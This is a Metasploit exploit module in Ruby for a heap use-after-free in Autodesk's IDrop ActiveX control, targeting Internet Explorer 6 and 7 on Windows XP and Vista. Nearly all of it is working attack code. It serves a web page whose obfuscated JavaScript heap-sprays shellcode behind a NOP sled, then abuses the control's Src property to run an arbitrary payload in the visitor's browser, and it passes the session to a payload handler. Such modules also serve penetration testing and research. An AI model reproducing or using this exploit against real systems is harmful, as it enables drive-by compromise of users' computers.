Autodesk IDrop ActiveX Control Heap Memory Corruption



##

# $Id: autodesk_idrop.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',
            'Description'    => %q{
                    This module exploits a heap-based memory corruption vulnerability in
                Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
                An attacker can execute arbitrary code by triggering a heap use after
                free condition using the Src, Background, PackageXml properties.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Elazar Broad <elazarb[at]earthlink.net>',   # Original exploit [see References]
                    'Trancer <mtrancer[at]gmail.com>'            # Metasploit implementation
                ],
            'Version'        => '$Revision: 9179 $',
            'References'     =>
                [
                    [ 'OSVDB', '53265' ],
                    [ 'BID', '34352' ],
                    [ 'URL', 'http://www.milw0rm.com/exploits/8560' ],
                    [ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00\x09\x0a\x0d'\\",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]
                ],
            'DisclosureDate' => 'Apr 2 2009',
            'DefaultTarget'  => 0))
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)
        # Re-generate the payload
        return if ((p = regenerate_payload(cli)) == nil)

        # Encode the shellcode
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Setup exploit buffers
        nops       = Rex::Text.to_unescape([target.ret].pack('V'))
        blocksize = 0x40000
        fillto    = 550
        offset       = target['Offset']

        # Randomize the javascript variable names
        idrop         = rand_text_alpha(rand(100) + 1)
        j_function   = rand_text_alpha(rand(100) + 1)
        j_shellcode  = rand_text_alpha(rand(100) + 1)
        j_nops       = rand_text_alpha(rand(100) + 1)
        j_headersize = rand_text_alpha(rand(100) + 1)
        j_slackspace = rand_text_alpha(rand(100) + 1)
        j_fillblock  = rand_text_alpha(rand(100) + 1)
        j_block      = rand_text_alpha(rand(100) + 1)
        j_memory     = rand_text_alpha(rand(100) + 1)
        j_counter    = rand_text_alpha(rand(30) + 2)
        j_ret        = rand_text_alpha(rand(100) + 1)
        j_mem        = rand_text_alpha(rand(100) + 1)

        # Build out the message
        content = %Q|
<html>
<head>
<script language='javascript' defer>
function #{j_function}() {
    #{j_shellcode}=unescape('#{shellcode}');
    #{j_nops}=unescape('#{nops}');
    #{j_headersize}=20;
    #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
    while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
    #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
    #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
    while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
    #{j_memory}=new Array();
    for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

    var #{j_ret} = '';
    for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {
        #{j_ret} += unescape('%u0a0a');
    }
    for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {
        try {
            var #{j_mem} = #{idrop}.Src;
            #{idrop}.Src = 'http://' + #{j_ret};
            #{idrop}.Src = #{j_mem};
            #{idrop}.Src = 'http://' + #{j_ret};
        } catch(e){}

    }
}
</script>
</head>
<body onload='return #{j_function}();'>
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>
</body>
</html>
            |

        print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end

end